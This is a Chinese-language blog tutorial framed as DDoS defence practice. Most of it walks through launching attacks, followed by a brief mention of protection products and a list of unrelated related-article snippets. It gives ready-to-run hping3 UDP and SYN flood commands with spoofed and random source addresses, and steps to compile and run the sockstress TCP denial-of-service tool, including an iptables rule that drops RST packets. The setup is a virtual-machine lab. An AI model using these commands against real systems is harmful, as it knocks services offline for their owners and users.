41-4 DDOS攻击防护实战

一、UDP FLOOD攻击

# hping3 -q -n -a <攻击IP> -S -s <源端口> --keep -p <目的端口> --flood <被攻击IP>
hping3 --udp -s 6666 -p 53 -a 192.168.1.6 --flood 192.168.1.13

这个命令是使用hping3工具进行UDP Flood攻击的命令。下面是各个选项的作用:

  • -q: 静默模式,不显示任何输出。
  • -n: 不解析主机名,直接使用IP地址。
  • -a <攻击IP>: 设置源IP地址,即攻击者的IP地址。
  • -S: 使用SYN标志位进行TCP连接。
  • -s <源端口>: 设置源端口号,即攻击者的端口号。
  • --keep: 在攻击过程中保持连接。
  • -p <目的端口>: 设置目标端口号,即被攻击者的端口号。
  • --flood <被攻击IP>: 发送大量的数据包进行洪水式攻击。

演示:

hping3工具kali上有,所以要开启kali虚拟机作为攻击机,然后在开一台windows系统虚拟机作为被攻击机(windows系统查看cpu比较方便,没有windows系统虚拟机的开linux也可以)

1)查看虚拟机ip
# windows
ipconfig

# linux
ifconfig

2)然后确保两台虚拟机之间可以ping通
# windows
ping 目标ip


# linux(-c 4 意思是只发送4个测试包,不指定linux系统是会不断的发送)
ping -c 4 目标ip

3)使用kail对windows系统发动 UDP FLOOD 攻击

注意:命令中的ip要改成自己的

# 192.168.1.45 是 windows 的ip,53 也是windows系统默认开放的端口
hping3 --udp -s 6666 -p 53 -a 192.168.1.3 --flood 192.168.1.45


# 或者
hping3 -c 100000 -d 65038 -S -w 64 -p 53 --flood --rand-source 192.168.1.45

-c 100000:表示发送100000个TCP SYN数据包,即向目标主机发送大量连接请求。
-d 65038:指定TCP数据包的数据负载为65038字节。这里使用了最大值,以增加攻击流量的大小。
-S:设置TCP SYN标志位,表示向目标主机发起连接请求。
-w 64:指定TCP窗口大小为64,即每发一个数据包之后要等待64个ACK确认信号再继续发送数据包。这样可以使攻击流量更加真实,模拟正常的TCP连接。
-p 21:指定目标端口号为21,即攻击目标的FTP服务端口号。
--flood:表示进行洪水攻击,即不断发送大量的攻击流量。
--rand-source:表示随机选择源IP地址,并且在每次发送数据包时都更换一次源IP地址。
192.168.1.45:指定目标IP地址为192.168.1.45,即攻击的目标。

 这里很奇怪,我攻击虚拟机没反应但是我攻击真实机就可以

如果你没安装抓包工具,也可以使用命令行查看

netstat -ano

该命令将显示系统上当前活动的网络连接和监听的端口号。列出的结果中,Local Address一列显示的是本地IP地址和端口号。 

 

二、sockstress 攻击

sOCKSTRESS是一种DDoS攻击工具,它利用TCP连接中的漏洞来占用目标系统的资源,使其无法正常响应请求。以下是使用sOCKSTRESS进行攻击的步骤:

1)下载sockstress脚本:GitHub - defuse/sockstress: Sockstress (TCP DoS) implementation.

2)设置防火墙规则,过滤发送给server的REST包,防止server断开连接。
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 192.168.1.45 -j DROP

kali攻击机中设置

3)编译sockstress.c文件
# 进入到工具文件中
cd sockstress

gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o

4)运行sockstress脚本,指定目标系统的IP地址和网络接口名称。
./sockstress 192.168.1.45:80 eth0

5)可以选择使用-p选项指定负载类型,比如使用http负载。
./sockstress 192.168.1.45:80 eth0 -p payloads/http

防御

1、冰盾:冰盾DDoS防火墙 - 18年专注DDoS防护 防CC攻击 防SYN攻击 防流量攻击 拒绝服务 DDoS防护 冰盾 免费防火墙 (bingdun.com)

 安装没啥好说的一路下一步就好,最后重启系统就能使用了,不过试用版全功能防护2小时,仅适用于32位的Win2003操作系统,因为我之前攻击Win2003虚拟机也没有成功所以这里没法做攻击演示他的防护,不过这种正版软件防护能力肯定是没问题的,不然他们也没法赚钱。

2)安全狗(推荐,因为这个是免费的,当然企业版也是收费的)

网页安全狗下载:网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改 (safedog.cn)

服务器安全狗:链接:https://pan.baidu.com/s/1LsT0AwVP5DKO7-WJ3zHo0Q?pwd=jwx3 
提取码:jwx3

安装 

安装完成后他会自动对你的apache展开防护

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/635230.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux--进程概念

目录 基本概念 描述进程-PCB task_struct-PCB的一种 task_struct内容分类 查看进程 通过系统目录查看 通过ps命令查看 通过系统调用获取进程的PID和PPID 通过系统调用创建进程- fork初始 Linux进程状态 运行状态&#xff08;Running&#xff09;- R 浅度睡眠状态…

工业级3D开发引擎HOOPS:创新与效率的融合!

在当今这个技术日新月异的时代&#xff0c;3D技术已成为推动各行各业发展的重要力量。从工程设计到游戏开发&#xff0c;从虚拟现实到增强现实&#xff0c;3D技术的应用无处不在&#xff0c;它极大地丰富了我们的生活和工作。而在这样的背景下&#xff0c;HOOPS作为一个强大的3…

java学习和项目总结

java&#xff1a; JDK/JRE/JVM三者的关系 JVM&#xff1a;JVM是java进行编译的虚拟机&#xff0c;是Java 能够跨平台运行的核心 。 所有的java程序会首先被编译为.class的类文件&#xff0c;这种类文件可以在虚拟机上执行。也就是说class文件并不直接与机器的操作系统交互&a…

认识NXP新型微处理器:MCX工业和物联网微控制器

目录 概述 1 MCX工业和物联网微控制器介绍 2 MCX 系列微控制器类型 2.1 MCX N系列微控制器 2.1.1 主要特征 2.1.2 MCX N系列产品 2.1.3 MCX N9xx和N5xx MCU选型表 2.2 MCX A系列微控制器 2.2.1 主要特征 2.2.2 MCX A系列产品 2.2.3 MCX A MCU的架构 2.3 MCX W系…

144.栈和队列:有效的括号(力扣)

题目描述 代码解决 class Solution { public:bool isValid(string s) {// 如果字符串长度为奇数&#xff0c;不可能是有效的括号字符串if(s.size() % 2 ! 0) return false;// 使用栈来存放括号stack<char> st;// 遍历字符串中的每一个字符for(int i 0; i < s.size();…

C# run Node.js

C# run nodejs Inter-Process Communication&#xff0c;IPC Process类 启动Node.js进程&#xff0c;通过标准输入输出与其进行通信。 // n.js// 监听来自标准输入的消息 process.stdin.on(data, function (data) {// 收到消息后&#xff0c;在控制台输出并回复消息console.l…

2024最新 Jenkins + Docker 实战教程(三) - 在Jenkins服务器上运行java项目

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

Kafka SASL_SSL集群认证

背景 公司需要对kafka环境进行安全验证,目前考虑到的方案有Kerberos和SSL和SASL_SSL,最终考虑到安全和功能的丰富度,我们最终选择了SASL_SSL方案。处于知识积累的角度,记录一下kafka SASL_SSL安装部署的步骤。 机器规划 目前测试环境公搭建了三台kafka主机服务,现在将详…

【js刷题:数据结构链表之环形链表】

环形链表 一、题目二、实现思路1.判断是否有环2.如何找到环状链表的入口节点 三、解题代码 一、题目 二、实现思路 主要有两点&#xff0c;首先我们要判断这个链表是否有环&#xff0c;其次我们要找到这个环的入口节点。 1.判断是否有环 定义一个快指针fast和慢指针slow 快指…

基于.NetCore和ABP.VNext的项目实战二:Swagger

Mag.Blog.Swagger层添加Volo.Abp.AspNetCore和Swashbuckle.AspNetCore包,引用实体层.Domain 添加模块类MagBlogSwaggerModule.cs,依赖MagBlogDomainModule模块,并且重写ConfigureServices和OnApplicationInitialization方法 namespace Mag.Blog.Swagger {[DependsOn(typeof…

【机器学习】在电子商务(淘*拼*京*—>抖)的应用分析

机器学习与大模型&#xff1a;电子商务的新引擎 一、电子商务的变革与挑战二、机器学习与大模型的崛起三、机器学习与大模型在电子商务中的应用实践个性化推荐精准营销智能客服库存管理与商品定价 四、总结与展望 随着互联网的飞速发展&#xff0c;电子商务已经成为我们生活中不…

c++ 实现 梯度下降线性回归模型

理论与python实现部分 3.1. 线性回归 — 动手学深度学习 2.0.0 documentation c代码 没能力实现反向传播求梯度&#xff0c;只能自己手动算导数了 #include <bits/stdc.h> #include <time.h> using namespace std;//y_hat X * W b // linreg 函数&#xff1a…

Unity射击游戏开发教程:(24)创造不同的敌人

在这篇文章中,我们将讨论添加一个可以承受多次攻击的新敌人和一些动画来使事情变得栩栩如生。敌人没有任何移动或射击行为。这将有助于增强未来敌人的力量。 我们将声明一个 int 来存储敌人可以承受的攻击数量,并将其设置为 3。

深度学习之基于Matlab卷积神经网络(CNN)手写数字识别

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景与意义 手写数字识别是计算机视觉领域的一个重要问题&#xff0c;也是深度学习应用的一个典型场景。卷…

基于消息中间件的异步通信机制在系统解耦中的优化与实现

✨✨谢谢大家捧场&#xff0c;祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天开心哦&#xff01;✨✨ &#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; ✨✨ 帅哥美女们&#xff0c;我们共同加油&#xff01;一起进步&am…

Docker Compose快速入门

本教程旨在通过指导您开发基本Python web应用程序来介绍Docker Compose的基本概念。 使用Flask框架&#xff0c;该应用程序在Redis中提供了一个命中计数器&#xff0c;提供了如何在web开发场景中应用Docker Compose的实际示例。 即使您不熟悉Python&#xff0c;这里演示的概念也…

Llama模型家族之使用 Supervised Fine-Tuning(SFT)微调预训练Llama 3 语言模型(一) LLaMA-Factory简介

LlaMA 3 系列博客 基于 LlaMA 3 LangGraph 在windows本地部署大模型 &#xff08;一&#xff09; 基于 LlaMA 3 LangGraph 在windows本地部署大模型 &#xff08;二&#xff09; 基于 LlaMA 3 LangGraph 在windows本地部署大模型 &#xff08;三&#xff09; 基于 LlaMA…

以色列人Andi Gutmans开发的php zend

虽然目前php语言不行了【相关的文章前几年已经有人发过】&#xff0c;但这不是重点&#xff0c;重点是zend引擎的东西具有极大的技术价值&#xff0c;负责zend引擎实现的大佬都现在差不多都是40&#xff0c;50岁左右了&#xff0c;从1997&#xff0c;1998&#xff0c;2000到202…

Java基础之进制转换和位运算专题

什么是进制&#xff1f; 是数学中的一个概念&#xff0c;就是数据“逢几进位”。 例如&#xff1a;生活中用的计数方法 ---- 十进制。十进制就是数字逢十就要进一位。 例如&#xff1a;一个星期有7天&#xff0c;就是逢七进一&#xff1b;一个月有30天就是逢30进一&#xff1b;…

基于单片机和蓝牙控制的智能小车设计

摘要 &#xff1a; 本文设计了一种以智能手机为平台控制小车的控制系统&#xff0c;该系统以蓝牙为通信模块&#xff0c;手机通过蓝牙发送信号给小 车上的蓝牙模块&#xff0c;从而驱动电机实现小车各种运动&#xff0c;提供了一种无线遥控小车的新思路。设计了该系统的硬件与软…